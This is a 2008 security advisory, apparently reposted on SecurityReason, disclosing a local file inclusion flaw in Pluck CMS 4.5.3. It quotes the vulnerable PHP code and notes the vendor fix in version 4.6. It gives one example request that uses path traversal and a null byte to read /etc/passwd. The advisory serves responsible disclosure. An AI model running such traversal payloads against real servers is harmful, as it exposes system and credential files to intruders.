SecurityReason - Pluck CMS 4.5.3 (g_pcltar_lib_dir) Local File Inclusion Vulnerability ( Exploit )

Exploit Code :

Hello, bugtraq.

Digital Security Research Group [DSecRG] Advisory #DSECRG-08-039

Application: Pluck CMS
Versions Affected: 4.5.3
Vendor URL: http://www.pluck-cms.org/
Bug: Local File Include
Exploits: YES
Reported: 25.08.2008
Vendor Response: 30.08.2008
Solution: YES
Date of Public Advisory: 18.11.2008
Author: Digital Security Research Group [DSecRG]
(research [at] dsec [dot] ru)

Description
***********

Pluck CMS has Local File Include vulnerability.

Details
*******

1. Local File Include vulnerability found in script
data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code
----
#################################################

if (!isset($g_pcltar_lib_dir))
$g_pcltar_lib_dir = "lib";

...

$g_pcltar_extension = "php";

if (!defined("PCLERROR_LIB"))
{

include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
}
if (!defined("PCLTRACE_LIB"))
{

include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
}

#################################################

Example:

http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=.
./../../../../../../../../../../../../etc/passwd%00

Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be
download here:

http://www.pluck-cms.org/downloads/click.php?id=8

About
*****

Digital Security is leading IT security company in Russia, providing
information security consulting, audit and penetration testing services,
risk analysis and ISMS-related services and certification for ISO/IEC
27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database
security problems with vulnerability reports, advisories and whitepapers
posted regularly on our website.

Contact: research [at] dsec [dot] ru
http://www.dsec.ru (in Russian)